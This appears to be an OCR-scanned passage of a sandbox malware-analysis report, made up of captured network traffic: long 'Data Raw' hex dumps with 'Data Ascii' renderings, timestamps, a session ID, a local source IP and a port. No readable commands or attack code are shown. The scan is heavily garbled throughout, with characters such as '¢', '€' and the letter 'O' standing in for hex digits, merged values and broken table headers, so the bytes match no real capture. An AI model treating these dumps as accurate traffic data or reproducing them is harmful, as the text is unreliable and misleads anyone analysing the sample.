a7 3f 62 70 d1 6a 05 df 42 ee bd 32 6d 55 83 cf f5 d1 10 36 20 d2 54 Ob al 58 c6 6f 07 23 55 3f 12 b6 2d cc 11 8d 54 4d ff
8a 1d 24 72 1f 63 7e 31 79 22 5¢ b5 dd 0f 98 d6 d1 52 fc c3 Oc b5 34 bc f6 89 04 bl 1d cd 9¢ 11 c4 5a b6 a8 b8 35 aa 42
ee 59 d9 6f 2c 23 c6 24 10 b3 65 84 2b 5¢ 23 64 fa 90 23 ad 20 a2 ed f0 31 c2 be 18 5f f5 64 78 35 22 c6 f5 16 2c a6 5¢
ab ba 31 00 17 6d 36 b4 36 73 1a ce 1d 82 f7 42 e6 54 7a Ob 7d 3e le f9 55 a2 f0 0a 80 06 34 a0 9c b9 de Oc 48 6a e2 78
ed bc ab 53 1e ec 5b 9d df 9d 4f fc f2 30 e5 ce 61 f5

Data Ascii: mI' @yZ1;fu.-\3v g[$}QBWWV6/T{z<?bpjB2mU6 TXo#U?-TM$rc~1y"\R4Z5BYo0,#$e+\#d# 1_dx5"\1m66s
BTz}>U4HjxS[O0a
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Data

Data Raw: fb 11 e6 c1 6f dO 1d ef 36 f4 00 9f 9e 50 81 1c 67 a3 68 63 fd ff 03 9e a9 6a 21 c8 82 aa ea 44 e3 7b 96 e dd
09 3a c9f2 1533 07 3c ac c2 9a 3c 75 59 28 77 el aa b5 96 c9 c0 2e 07 97 6¢ 69 Oa 63 dd 95 ce bd 7e 30 bl 8 a8 e2 46
3e 43 bc 78 Oe 31 4c 3b 04 41 4b fa 5¢ cd 78 a3 a6 29 c7 a5 3b 02 d0 fO ad f8 4c 19 2e a8 c5 99 8b 7b 25 ce 4c 24 5¢ 4b
56 e4 44 54 b0 de 88 e2 ae b4 6d f9 66 65 b1 f7 07 00 a3 f1 b3 d3 37 70 2f 63 40 c9 c0 b8 79 2c 7d 27 ac ea 30 07 ca 24
5b fO 3f 1d 46 9a 63 2e 5b 4b 3b 57 c¢7 1d 7b 41 8f 89 a5 07 2c 98 bd 84 01 d3 45 1a a6 99 75 a4 8a 4a af f5 6a el 51 d2
97 b0 71 9f 41 4e aacl 41 a7 3b e7 80 75 a6 6e 23 14 93 e7 24 12 09 70 58 74 29 1a b8 95 1e 9e c4 b4 ef 68 09 d5 ab
4b Oc 83 6d 38 a7 ef al b0 d4 fe 85 15 2d c1 de bf db 5d

Data Ascii: 06Pghcj!D{:3<<uY(w.lic~OF>Cx1L;AK\x);L {%L$\KVDTmfe7p/c@y, }' 0$[?Fc.[K;W{A,EuJjQqANA;un#$
pXt)hKm8-]

Data Raw: a4 8d b2 b7 5b 20 48 3f fb 03 ad b5 18 32 9e 23 e8 5b 9f 7f db f9 89 a3 28 33 43 da bc a9 6f a3 f9 ef 2a d7 d4
77 74 b4 b3 a9 c2 ab 60 6¢ 4a 8d 84 07 13 d4 09 aa de 15 8e 60 55 a0 a5 30 89 b5 15 43 6b 48 ec 61 92 3d 73 2d ba 4b
9e cb fb 2b bc 70 4c be 6f 58 b4 aa f0 8e d3 03 f3 8a 91 1 ce 55 05 12 70 1c 00 7f bf 2e d9 c5 5¢ bc 08 ea ff 94 a2 b0 68
21 d3 1e 43 ea 91 61 64 1b d2 56 25 74 d4 60 9a 28 40 4d 44 92 df 4d 3d 15 10 c4 09 22 1e f0 1b d8 b7 cb 84 5c 08 f7 8¢
0f 81 8a 39 3b 60 d5 bc 07 db 40 17 fe 4f 44 c4 9c 7f Oc 50 Oc 6a 2d d9 c¢8 33 54 7e 51 el 7c 5d 53 93 12 cf 3c ed 8d dO
22 46 7a 42 58 c3 42 d4 2f 08 96 ce 33 af d0 ed 63 a8 2f Ob 1c 4a d5 39 23 ee 06 c9 a7 11 Oc cO e7 b8 Oe 27 63 dd f4 13
26 be ea 12 36 17 5a eb 57 ff b8 54 bc e2 62 fb 99 f1

Data Ascii: [ H?2#[(3Co*wt'1J'U0CkHa=s-K+pLoXUp.\h!CadV%t (@MDM="\9;" @ODP}-3T~Q|]S<"FzBXB/3c/J9#'c&6ZWThb

Data Raw: 95 10 dc 06 f3 83 3a 3f 4f e2 02 13 42 57 cb fb 1f ac 20 b2 04 4e d6 95 41 fa 94 39 5d 57 af cd de a5 b2 b3 18
189 64 €9 c7 2c 72 c6 e2 2b 36 ac e3 64 47 50 a2 97 f1 3a c8 fa 79 9a 78 0f 20 25 5e d6 17 12 70 38 d2 17 fc 3d 53 05
68 a9 b2 98 cb 30 7 54 22 6a b9 ae 59 22 6¢ f4 f6 48 88 06 ac 10 42 9b 20 d7 0d b0 e3 f5 d8 06 6d 00 83 d5 7d de 5a c3
a3 cd 19 03 0f ac ff 38 ¢4 cf 42 5b 4f 2b 19 61 9d 73 2d db 70 19 36 Oc fc 07 97 cf 5a 86 ed 89 ee 8f 9b 4f 37 b2 b9 4b 91
5c 2b 31 77 e4 el 04 80 47 91 2f 2d 9c 16 c6 c9 Ob f3 31 4c 5e fa 8e ed 84 f0 87 a0 01 14 9f Ob 8a cd d3 28 e3 c1 5b 24

94 d7 5e d6 fb 1c d4 84 8f ed 43 b0 c1 1d 90 27 56 Ob b5 42 87 ea 84 97 48 66 cd aa 40 1d 17 52 ba 57 78 f6 70 87 ff c9
Oa fe 95 2e 90 4d 5d cf b7 75 Oa da 85 6¢ 8c 4a c7

Data Ascii: :?0BW NA9]Wd,r+6dGP:yx %"p8=ShOT"jY"IHB m}Z8B[O+as-p6Z07K\+1wG/-1L"([$"C'VBHf@RWxp.M]ulJ

Data Raw: fc ec 83 36 ef 4b 28 ca 70 df ff ba 9d bc a0 4f aa a6 70 c6 be 66 €9 bf dc aa ef a0 44 f1 d6 d9 a9 b3 85 4b 95 f2
c4 09 1f b5 d7 f7 22 a6 a5 b1 99 75 74 c9 0f fc b4 9e fe 48 a6 24 7d 28 9f 1b ae 96 a3 87 01 d1 58 77 19 2f c5 la 6a 6d
1e 52 9c 05 c0 5e a9 0f f6 a3 b8 af Oc 90 e0 70 2f 8¢ f8 79 81 7e 5a f8 4f 6f 21 64 91 d4 88 78 9e 64 5c¢ 1d fb 8d 9b 58 bc
e8 b2 d4 09 a6 2e 6f 28 61 60 78 5¢ 9a f1 df 46 17 cO 94 40 5b 2f 56 c¢7 40 ba 53 b3 74 b0 c6 d6 76 6a 86 df 1d 3f 27 59
99 b4 ¢9 70 ca 79 44 1b 7c d0 42 6f dc 8e 4b 63 80 dd 9d ce 6 06 55 8d c3 84 93 el 4a f2 39 1f 76 c5 19 30 b6 4f cf b7
1c d1 75 6f cb 25 81 8f 01 89 69 44 28 9a 06 8c dd 33 81 5c 72 45 88 89 16 ca a3 d2 80 7b c6 6¢ db 5a 5¢ 18 bd 72 7d al
90 2a 6a df 03 03 e0 23 45 76 a8 75 10 1e 33 b6

Data Ascii: 6K(pOpfDK"utH$}(Xw/jmR"p/y~ZOo!dxd\X.o(a x\F@[/V@Stvj?"Y pyD|BoKcUJvOOuo0%iD(3\rE{IZ\r}*#Evu3

Data Raw: a9 4f 14 c4 44 75 e2 47 e2 5a cd 05 07 52 d1 9a dd 48 58 ab b1 d8 57 53 ac b3 ae f8 db 78 84 92 de 3a db d6
66 4b ed d9 e0 94 3c a2 c8 1d 99 67 72 8e c1 45 15 b0 39 0f 96 ac be a5 d4 65 f1 9d 7c a6 fe 05 21 35 2e 67 36 22 b5 39
33a2de 34 de31el3817aa2c 1c95e6 77 d7 Ob 70 78 19 6e 5a ed 7e 4d 2d cc 10 78 ab c4 24 86 e6 6f bb 1c bb 03
3 3f a5 59 cf 2a 7c 3b fb bf 2f 32 89 48 4d 64 f7 28 61 80 50 86 22 b4 d6 2f f8 5d €9 10 98 3f e6 eb Oe 85 c4 5c bf 9d 7f 8f
02 d0 2 af c4 Of bd 79 28 89 ff a6 a4 2e 68 09 9d ff 8e 74 cb 69 6f fb 83 80 a6 30 36 58 cc 7d 6e d4 74 63 1b 9b 8c 5 8b
80 e2 c3 71 6a 0b 99 de ab 87 83 5f f4 96 2b 6f 52 92 ed 9e 42 3c 45 4f 5a 98 de 0d b9 95 0f f6 a8 1f ed 89 23 ad 3a 3f 23
ec 7d 74 4c b4 b7 3d 66 c5 42 d2 9a 64 a3 44 7c

Data Ascii: ODUGZRHXWSx:fK<grE9e|!5.96"93418,wpxnZ~M-x$0?Y*|;/2HMd(aP"/]?\y(.htio06 X}ntcqj_+oRB<EOZ#:?
#}tL=fBdD|

Data Raw: d6 f6 28 1c f1 7f cO 43 f1 67 8a 14 f0 57 27 03 c6 42 5¢ eb 3b 61 5d 06 b0 00 74 b9 f4 7b 35 d0 16 2c 92 af Oe
50 2c dd d5 9b d8 ab 71 43 76 d4 59 04 26 fa 6a 49 61 c6 c8 eb 6f 50 9b 21 Ob 98 10 58 80 f8 42 fd 4d 17 5f Of e9 62 60
8353 0b 61 02 27 2b 39 43 cb 06 ac al 43 31 7f c3 b0 c3 e4 b6 18 7 29 16 02 44 94 ab 0d b8 6a 3e 0d 04 a5 15 88 24
66 2f 05 78 19 30 83 85 b2 a6 Oe 1a 19 63 cd f5 9a 4e 1d f3 36 59 b3 5e ee 32 eb 4f 28 26 0f 3d 7f 92 3a 73 11 52 56 9b
07 cf 35 41 41 44 8d b0 62 al aa 09 7c 3e 90 42 42 03 c0 8b 4f 3f a9 e7 1c 1b 77 47 d1 18 b5 fb ac 5d bd 9b 86 ec 29 d5
cc d5 4f f9 96 b3 53 f1 2e b7 56 70 68 07 38 27 31 2b 4c 46 {7 62 ea b1l Oe 00 9b el 3a 20 a8 c6 a6 64 a6 d7 51 98 d1 ea
d6 0d dO da 4d 9e 90 Of ba Oa b5 a2 af 6f dO f1 79 cc 6f

Data Ascii: (CgW'B\;a]t{5,P,qCvY&jlaoP!XBM_b'Sa'+9CC1)Dj>$f/x0cN6Y 20(&=:sRV5AADb|>BBO?WG])0S.Vph8'l
+LFb: dQMoyo

Data Raw: 8a 9a 3e 30 98 4a af 3e 16 e7 7c ad e2 db fd a3 ba 5d a9 al 71 ef 93 8¢ 7f 1f 30 4b 1e 4a 01 4e 6b 09 db 5d
51 d4 b2 08 25 fa 1f 4a e2 c1 87 6b ec c1 dc 19 a8 49 f0 f4 06 38 39 11 5 d7 45 f3 bf af 89 2d b7 fa 1a Oc 4c ab 26 3f fd
72 cf 86 08 a4 6f 76 ea 09 d3 bc a8 0d 4 ef f4 6f fb 6e 6f ed cc dc b8 db a9 1e 35 8a 6a 33 b4 3c 8f 18 f6 8e 78 88 11 1f
6e clcl 48 618803 a9 85 1a 5a fb a0 2c 04 6a 27 35 75 2b 65 8¢ 52 8a 71 04 3b de fd dc a5 28 b9 ad fc 08 b9 63 c1 5d
74 fa 86 d9 2e Of 3f 53 5e 60 al 7f 27 29 00 61 ce 3b 5f bl 6d 67 79 4e 3a cl db 5f b4 88 b3 bc e3 ff 4f 51 27 24 d3 44 a0
24 9b 5f 12 58 ce c0 e6 8b 7a 9c 4b 82 bc 74 29 b4 1f 99 ad 67 cb c5 fc 65 36 98 8e 05 43 5¢ cc 7d 76 9c 99 2a bb ea ba
€508 bb 80 59 91 28 09 61 26 c2 99 40 c3 1c 81

Data Ascii: >0J>[]q0KJINK]Q%JKI89E-L&?rovono5j3<xnHaZz,j'5u+eRq;(c]t.?S” ")a;_mgyN:_O0Q'$D$_XzKt)ge6C\}v*Y (a&@

Data Raw: eb 99 5b 31 29 9a a5 ef 81 9d c9 f6 44 ff 66 9c ee 02 ea 06 86 2f 41 a6 7b 77 ce 39 58 1b 7c c9 b2 20 d1 42
57 db 37 2b 0f 28 Oe c2 96 0d 51 0f 11 78 27 01 b6 50 99 01 15 34 22 fb 31 5 6e 78 fO f7 44 bb ee c7 b3 c2 22 72 52 2e
bd fd d1 a7 75 44 ab ec f2 78 f2 91 e7 6f 1f 3b 01 70 8¢ 2c 7 10 9b ff 5d 1c af 51 49 f6 ff 85 4b ad 43 aa 5 2f 7e a9 a2 c5
58 1d 09 7d 68 50 b1 88 70 eb 43 f3 9e 1b 25 b9 d5 d1 85 d5 61 5e 32 b0 ¢3 54 7d 67 a2 b8 40 75 98 94 ab c3 ac 47 ab
84 25 2d a4 85 ce d7 d6 68 7a ab 73 33 ¢5 34 6b 93 ac fc 34 81 d3 80 28 91 b5 42 33 3b Ob d7 74 1b a3 bc 3b f4 24 64
7c fe 3 3f 9e 38 65 2¢ 55 19 5b a7 9f cc db fa de 07 01 ff 5¢ cb a6 63 40 62 ac 85 6¢ 03 f1 81 b8 8c 59 ef 1b b3 96 f1 da
94 b2 da e0 e6 0f ae 5d 32 €9 92 73 f4 ¢8 76 2a 6¢ db

Data Ascii: [1)Df/A{w9X| BW7+(Qx'P4"1nxD"rR.uDxo;p,]QIKC/~X}hPpC%a 2T}g@uG%-hzs34k4(B3;t;$d|?8e,U[\c
@blY]2sv*l

Data Raw: 5e eb f6 32 38 ¢7 61 aa 53 5f 58 50 43 Oc 14 12 cc b5 e7 d3 4e 39 90 4a 3d b6 32 62 al fc 70 9b 5a a4 Oe 60
fd 61 24 d6 8e 81 d9 8c e9 78 d3 9f 89 4d a3 da dd el 18 96 ff c4 69 31 99 af 31 3b 58 ab 98 29 06 e3 55 6e 41 ea 8f 6d
06 67 54 8 el ca 5¢c 2d 52 41 a4 bb 3c 15 a4 6¢ 2b 45 b4 48 4a 15 a2 8d e7 f3 07 5¢ d6 84 75 11 8¢ 28 6e 23 cf el c7 5a
69 da 06 65 a8 09 7d ed 3f 03 2a 3b af 62 ab b4 fO 2b 8d d2 9d 58 11 2f 58 3 ae 21 c6 db e3 Oc 5e 50 6f 71 c3 08 8f 38
0f e3 e6 22 d1 91 88 33 58 d8 15 bb a6 dd b1 38 46 3a 94 68 fa 83 f6 77 d6 b4 a2 d4 88 70 66 27 7b 29 c7 dd a2 5d 6d
0d 08 14 90 0a a9 c9 d6 84 89 67 32 8d 8b ff d6 6d 18 11 5¢c d9 ee 93 5f 72 b9 bf b5 26 73 c1 90 d5 6a ab da 43 5a 5d 63
ef 45 40 c¢3 51 ad 4e 8b b7 79 8f 71 Oe 30 3e ab f4 d1 5a 50

Data Ascii: #28aS_XPCN9J=2bpZ a$xMil11;X)UnAmgT\-RA<I+EHJ\u(n#Zie}?*;b+X/X!"Pog8"3X8F:hwpf{)lmg2m\_r
&sjCZ]JcE@QNyq0>ZP
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Data

Data Raw: eb 05 fd 03 a7 98 69 1f 2e 4c c8 fe d6 3c 2c f2 05 e7 02 96 33 68 al 68 cc cc ec 95 96 52 Oa e8 f6 47 60 ce 91
el 24 2fd6 71 d5ch 52 ca98 13 al a2 02 87 e0 9a 4c 3c 33 59 11 e0 b7 d4 af a6 98 59 73 fO 77 6a 36 7a b9 76 61 c6 34
67 18 72 f7 €3 77 99 e4 4b 82 3a d2 52 68 6e 67 bl 1e b3 7c 9a 0f a9 db a0 aa 89 27 91 e4 22 94 ec 11 e7 21 32 75 25 fb
44 8e ce 8a 41 f6 57 70 44 d7 41 5a ca 36 90 50 9c ef 22 99 fO 9b b5 fb Oc 2e 9e 04 50 33 5b 82 38 9e a4 d2 b3 c2 7f 20
17 f3 69 c1 50 a0 44 49 47 9c a3 d3 d1 d0 63 17 17 41 ac d3 8f 06 ac 28 48 a9 6d 8b 69 75 ad 25 fd 66 4b 5e 56 6¢ Oe 35
5b f8 d8 cb 29 8c 79 a5 b6 e7 3d 69 b2 76 f4 d8 Of 61 f7 79 b9 ec c2 cf e8 88 cc 76 a7 dc 29 9d 84 c4 6f 5f ea 21 93 52 59
f1 e5e8 8a dl 67 9f ef 79 ce fO 5f {9 5d 78 b7 71

Data Ascii: i.L<,3hhRG $/gRL<3YYswj6zvadgrwK:Rhng|"!2u%DAWpDAZ6P".P3[8 iPDIGCA(HMiu%fK"VI5[)y=ivayv
)o_'RYgy_Ixq

Data Raw: b9 f7 60 8f 7d ff 2e 7d 57 0d ab 45 52 f8 7f f5 41 f9 92 31 ca e4 12 12 63 e4 26 d0 49 d3 ab 10 bf Of 4e f7 70 b2
56 8b 16 cd e3 b3 20 80 66 76 58 fc 49 aa 77 57 27 52 6d ec 98 41 15 6b €9 be 4b 22 68 cf b3 1f c8 8c ef a0 b6 01 d3 1a
41399 39 64 d1 95 e0 a2 f7 c9 5b f1 fa 24 f4 93 94 57 4a 3d cd 36 53 3d 5f 90 56 2a 8d 8f a4 9f b1 55 €8 cd b9 a8 88 cd
f3 b5 fa 58 b7 2f 44 49 13 52 14 c6 7b a6 0a 43 b7 b5 b3 77 ca 76 97 c1 1c e2 cf Of 7b 7f 7f 69 ac a4 72 e6 bc 52 9d 19 88
el 8e al 91 8b 20 ba 53 ed 9b b6 91 4f 98 20 74 dc 69 77 e7 70 95 f9 38 1f e0 11 b2 fb 76 72 58 22 0 cf 19 7f 70 20 e7
da ef 97 87 b0 02 ce ae ef 2c db 98 27 6¢ 6b 7b 29 d1 a8 3b 8a c0 70 d7 a5 be da 8b 89 8f 91 Oc eb bf 3e 7a 1d 24 8b 52
f7 29 ee 2104 ba31fel17a758c6e21224

Data Ascii: “}.JWERALc&INpV fvXIwWW'RMAKK"hA9d[$WJI=6S=_V*UX/DIR{CwV{irR SO tiwp8vrX"p ,'lk{);p>z$R)!1X$

Data Raw: e3 46 14 8a 8a 72 be 07 c6 43 08 7a 4e al 23 00 1c ca 74 dd f3 d3 6b 7f 4f 4c ba 42 5a a2 12 df 3b 8e 97 d1
59 9a c2 42 33 cf f0 d6 35 71 5d 91 50 89 8e cd 43 7f db 2f 3e 3c 12 6a e3 ff b2 88 18 aa 5d 50 15 3d {7 24 d1 93 eb e
17 d7 94 80 ee 9b 36 a9 13 al 4b 26 d5 e3 52 7a bc da 9a 4a le b5 9c b4 63 ec dO d9 dd 21 12 40 78 48 7a 4a 4d ae 41
93 fd 93 14 d5 1e 21 3b 7b 48 84 4d ac 52 ab fa f5 dd d5 dc c7 8d 7d 9b 56 4e ff dO 7f 8¢ 3c 26 d9 19 f9 84 al 84 d3 a3 c7
bb b0 c6 32 ad c2 c8 dc 76 9e af 04 86 7f cf f1 ab 32 de 50 06 5f 97 a2 42 73 66 Of d6 4b 59 b1 57 88 82 3b 25 ed fe 8f b2
32 06 c8 b6 bc 57 35 3b 16 6a 2d a3 b1 29 4f fc 2d 5f 29 el a2 b9 ed 8b 20 06 95 05 09 74 91 4f b0 f4 73 aa ee c9 7d e4
1 2e f0 40 f7 3e 59 21 3e 3e 85 fe 4d ae a9 2b ac 3b

Data Ascii: FrCzN#tkOLBZ;YB35q]PC/><j]P=$6K&RzJc!@xHzIJMA!;{HMR}VN<&2v2P_BsfKYW;%2WS5;j-)O-_) tOs}.@>Y
I>>M+;

Data Raw: 20 3a 43 63 d5 6a be 16 d9 78 5b 78 d4 3d a7 53 7 8b 43 da a9 0d 1f ca 2d eb 14 b8 31 b6 c2 2b 31 eb 3f 46
b2 43 74 f4 3d b0 57 d1 c1 30 f0O fO 11 ff 9b b1 69 7c 96 8b f5 44 c4 50 76 16 22 ae 7d 33 03 a6 1d 2b 12 e0 3a 56 Ob 6e
ef cf 9a 4558 42 50 b5 e5 fd 73 76 a6 62 2f eb 41 e2 1la e2 2c a5 63 al b2 97 64 1le b9 57 2¢ de 9d ea 3e de 3d bb e8 4b
ee 31 00 d2 fd 37 75 3f 77 ff f9 f0 92 3b 78 bd 19 f5 7e d0 08 12 81 ca e8 d7 50 32 98 54 3b 5f 4c 55 6f 21 6d 4a e5 1c e0
44 ee d8 49 ca e2 83 7d 95 98 04 af 5d b5 bc 2d 7c 03 b4 11 53 fO dc 98 18 2f 16 9d 63 14 f6 3a 84 df e7 bl e7 fl e2 2e
05 09 23 65 86 fa 47 26 f7 80 bf 7b 36 2b 77 a0 00 37 26 b2 2a 02 3b 37 d1 58 2c b4 17 55 5f f1 b2 46 98 5a 53 09 €0 4c
b7 10 81 71 20 5c ae 80 b2 71 ca ba 29 79 ea 53 7b 9d

Data Ascii: :Ccjx[x=SC-1+1?FCt=WO0i|DPVv"}3+:VNEXBPsvb/A,cdW,>=K17u?w;x~P2T;_LUo!mJDI}]-|S/c:. #eG&{6+
W7&*7X,U_FZSLq \q)yS{

Data Raw: df 87 87 4c 28 a0 75 c4 c9 bd Oe 33 65 d1 92 11 57 89 05 6e c0 d3 ce 91 59 3f a8 86 e5 33 f4 06 a6 9b 48 ff fc
10 66 cc af 02 8b 05 af 96 08 43 bc 69 0a 2a 74 99 44 c7 cb c1 ee 30 82 c1 c7 86 6a 46 c8 60 be 91 3e 4e 32 b7 44 c7 bb
0 fd 1b 6f 2e cO ba 6a 59 a2 f1 7f eb 46 d3 cf c4 3c 2a 95 3b 30 19 ec cf 23 64 5b 11 d2 84 aa 92 {3 bc 7 ce 4e ea 97 af
8c 39 aa 67 d6 0d 64 b9 5¢ 93 46 2¢ 33 €0 97 1f cd c1 0d b6 55 58 94 43 74 be 7a 04 73 f6 35 9e 3¢ 25 fb ef 3c fb 40 a2
90 d1 ee 57 09 c9 3b 54 e0 92 fb 92 01 75 cd 1d 47 23 3d 77 8a 70 24 d4 10 bc 9b bb 08 48 82 b6 35 ca 77 9¢ 56 bd 82
b9 05 fa 9d 1c 48 63 2e 76 3f 5b 7e f8 1c e2 be 28 28 a5 b4 e3 e7 85 21 06 Oc a0 75 e5 66 05 5c 0f e6 21 76 01 57 a6 23
b5 19 97 25 f3 ¢7 98 17 da Oc b1 5¢c 00 32 d4 42 47 df

Data Ascii: L(u3eWnY ?3HfCi*tDOjF >N2Do.jY F<*;0#d[N9gd\F,3UXCtzs5<%<@W; TuG#=wp$H5wVHc.v?[~((luflvW#%
\2BG

Data Raw: 80 87 c8 8a c0 bc 4d f9 d0 ba 64 86 1c 45 8c 78 88 fa 2d 70 74 ec 1f 6e 9f 5d 2d 9d 28 f3 7e 16 1b ad 4b df 72
46 a6 09 c3 b9 9a 7c 37 a2 d6 09 8b 35 97 ed 42 5f 41 €5 08 Oc 48 a7 04 dd 4c d1 1f al 7a c9 61 ef 37 7f cc 7d de 8e 8f
43 e4 01 93 69 f3 28 a6 eb 98 68 50 ee bl 2c 60 4c d9 29 bb 1f 36 dc ca a9 54 95 79 d0 be 34 el c6 a2 00 8b 38 c5 04
4d 1f 9d 2b 7b e3 bc d7 0f 6f a4 de 93 82 ea cd 21 19 0f bc 94 ¢7 04 38 db 76 ab 65 c4 a7 20 c7 db b7 14 9a 83 5d 77 af
6c 99 c3 6e 72 19 ad 68 a4 d4 64 78 83 4a 3c 1f 62 64 87 8e 13 d3 74 a2 fe 4a b0 32 5d 01 4d da 3c 65 51 0f 05 6¢ 6 ad
1c b1 95 1c 62 0d 59 ce 44 5f 5a 35 44 33 f2 25 04 3e 08 6e 55 16 4c 08 c7 00 05 66 76 c2 d9 b5 Oe c2 Oa 3a 74 88 29
7d c9 b4 8¢ 90 ed 01 25 8d Oa bb 0d 31 ee 9a ec 8f b8 9a 8f

Data Ascii: MdEx-ptn]-(~KrF|75B_AHLza7}Ci(hP, L)6Ty48M+{o!8ve JwinrhdxJ<bdtJ2]M<eQlbYD_Z5D3%>nULfv:t)}%1

Data Raw: 5¢ 04 1c 98 6f d4 ec e2 c6 41 47 b8 fa 3a b2 cb 7b a8 f2 ff 21 ¢3 30 32 69 98 bd ba 46 58 1a 78 d9 ef 78 6f 27
85 ad 72 9c 03 04 cb 05 26 92 c5 77 ef 7f d1 82 ¢5 9d 95 69 2¢ 02 24 d1 2a 88 ad 96 19 53 49 17 d5 35 €8 e4 b8 c9 4b

8e 8a c0 48 9f 78 f6 7f 0a 33 ¢3 59 3d b8 3f 20 b0 2d al d3 95 c0 40 44 25 f4 40 9f e5 61 1a c3 53 fe 54 d7 7 06 67 4a
00 6f c9 44 2a c1 49 3a 50 78 2c el c8 ce 9f 56 6b ef 9¢ 32 e5 8f 1e 1a b9 c2 85 51 e8 8b d9 35 65 ea 89 Ob 66 ff b0 16 fa
ad 8a af 2a 93 9f 6e 1d 97 63 bb 5b 16 12 97 5 2 cc 58 4d 22 16 b0 d4 ed 24 7b 41 f0 52 2b 58 a4 62 97 ad ff f4 6e 05 c6
3f 1d 6 89 16 3b d5 fb 7e 2e 56 7c 6b 78 bd 25 c8 8b fe e2 f2 9f 67 03 b4 96 89 7 4a 5e 62 6a 38 3a 96 3b 62 99 20 51
5d b5 21 9¢ 5f b0 d5 2d ac 1c 39 76 cc ae b7 f0 39

Data Ascii: \0OAG:{I02iFXxx0'r&wi $*SISKHX3Y=? -@D%@aSTgJoD*:Px,Vk2Q5efnc]_XM"${AR+Xbn?0;~.V|kx%gJbj8:b
QJl_-9vo

Data Raw: 98 f8 52 8d 84 ab 82 88 63 4d d6 62 69 9d d1 69 cc 3c 22 e0 5¢ 84 1c b7 18 3f €6 ed b2 13 ba ec c2 80 e8 29
bc 59 70 €9 71 dc 2b 18 6b 71 98 92 7b fe a3 fa 17 78 08 18 2d 6e 2 6e 33 d1 b4 09 a5 fb 31 7e cc 5a 7e 7f 55 ee 25 bf
4719 46 41 25 a5 9a 5e 45 ab 38 18 95 53 21 1e e7 81 e4 21 2a 1c a7 51 86 5e ec 5d e0 2 4e 6f c6 36 82 a8 77 28 c1 de
€536 02 17 37 fa 17 2d 90 0d c8 2d c2 1d 79 7e 11 87 63 61 b0 98 67 7 1a f9 7d c9 cb 45 99 fc 76 c6 fd 46 Oa e0 98 ff 42
8e 49 76 00 bd 2f e5 fc 98 9c aa 94 18 4a a9 48 94 39 36 a2 3e 6¢ e7 4c 8e 3d 75 c0 df 5fd0 78 7e 41 dO fb 4b 48 8d 2b
€0 c6 cl1 27 54 69 b5 a8 13 8a 85 d9 b8 9e e5 33 24 e7 44 34 a3 33 d6 8b 3 bc 3c 3f d2 3f 3f Ob e6 af a2 a3 66 56 Ob 08
50 ca el b7 af 92 e8 38 f8 6b fa a6 ca 68 c9 e7 61 cf

Data Ascii: ReMbii<"\?)Ypg+kg{x-nn31~Z~U%GFA%"E8S!!*Q"|No6w(67--y~cag}EVFBIV/JHI6>IL=u_x~AKH+'Ti3$D4
3<??2?2fVP8kha

Data Raw: b6 12 8e 87 f2 54 5a 92 82 €9 53 1c 75 78 c5 e3 b9 d3 fb 5d 62 b7 27 f2 b4 2e 45 3f 74 b4 ee 46 90 O ce d6 ef
b3 al 7d 21 c1 6b f8 cd 88 64 dd ec 86 ca 08 e7 42 cc ac b7 3f 36 ff al 3d d3 8b 75 d4 9e Oc 2a 61 c4 a7 b6 a6 fa Ob a6
2b bf 47 70 8b 19 ee 4e 3f cd f8 3c 44 01 1d e7 c5 6a 49 fa 76 a6 b7 d4 43 96 7e b0 30 26 39 05 90 9e 45 72 47 67 al a2
7c 170 9e df 02 b7 28 43 3f 5¢ b4 21 45 ac 50 e4 e6 b3 af 9c Oe 2d 4f 10 3e 89 a5 ef 44 el f9 d3 74 cf bf 99 4e 2e 29 a8
5 2d 7c b8 db 46 10 34 b9 95 38 56 49 cb ea a9 d2 be 58 48 4a 49 eb 6b 01 c0 f3 Oc 00 59 18 97 b3 b0 e4 6c 6b ab 39
1c ba 23 a4 81 af 82 73 40 38 a7 0d a0 e0 77 94 ce f2 ae d2 ea 0d b3 7f 18 71 56 a0 69 af fe €8 80 b4 23 10 53 fO 76 96
80 ed d0 b5 d2 74 de cf 84 b9 cf 6d cO 55 Oc a3 99 5b

Data Ascii: TZSux]b'.E?tF}kdB?6=u*a+GpN?<DjlvC~0&9ErGg|p(C?\|EP-O>DtN.)-|F48VIXHJIIKYIk9#s@8wqVi#SvtmU[
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kBytes

Timestam
P transferred

2022-06-23 16:20:19 UTC 2373

2022-06-23 16:20:19 UTC 2381

2022-06-23 16:20:19 UTC 2389

2022-06-23 16:20:19 UTC 2397

2022-06-23 16:20:19 UTC 2404

Session ID Source IP
4 192.168.2.3
. kBytes
Tim m|
imestamp transferred

2022-06-23 16:21:04 UTC 2410

2022-06-23 16:21:04 UTC 2410
2022-06-23 16:21:04 UTC 2410

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49841

Direction

ouT

ouT

Data

Data Raw: 42 3c b0 06 cf 65 8e 93 18 98 ea 80 d6 00 c¢7 51 8d 7a 03 0a 07 38 99 99 3e 35 30 6b c2 78 1d cf 81 00 13 2d
5f 9e 92 22 Oc 3c 38 f8 14 b2 53 ee 42 ce ef 19 56 19 71 cd 49 bl 48 cc f5 64 9a 1d a5 a9 1f 66 aa 9e 4c 6e 8¢ 18 21 e3
e8 ba 6¢ cc d0 9d 11 19 49 83 28 16 5e a3 47 7e 49 7c f1 d9 e8 5d 0a 7c 04 d5 71 02 88 69 30 63 95 25 b4 35 €9 09 52
61 50 42 25 02 9f 69 34 fd 4d e3 90 ac 48 fb €9 80 d7 25 ca 95 97 24 91 2f ac fd c4 f3 01 6a 22 8d d9 ef dO 19 aa 45 a7

11 9c 03 db 89 6 92 27 90 11 cf €9 26 c6 cf d8 1c 46 3d 3e 5b 9f 2¢ 25 59 af 4a 44 6a ab f6 €0 94 fc 99 d9 47 d7 c3 e6 68
64 0b 1b 51 99 30 5c 8e 03 22 5e 5d al 32 d2 0a 8d 37 18 5d 5e cf fb c0 09 7b 2b 92 a4 2a 8e f2 ef 3e 55 36 b9 a0 fc 76
9e c2 ¢3 27 01 23 14 2e 5e 2f 44 f1 9f 69 c3 8f 57 64 c4

Data Ascii: B<eQz8>50kx-_"<8SBVqIHdfLn!lI(*"G~I|]|qi0c%5RaPB%i4MH%$/]"E'&F=>[,%YJDjGhdQO\" 27| {+*>U
6Vv'#./Diwd

Data Raw: 7d a0 af 2e 24 d9 60 46 c4 ae c6 36 04 cf 66 9d be 28 50 12 ae ¢5 32 ¢9 d2 bd d1 01 4d 96 91 09 9f 5a 5¢ 7c
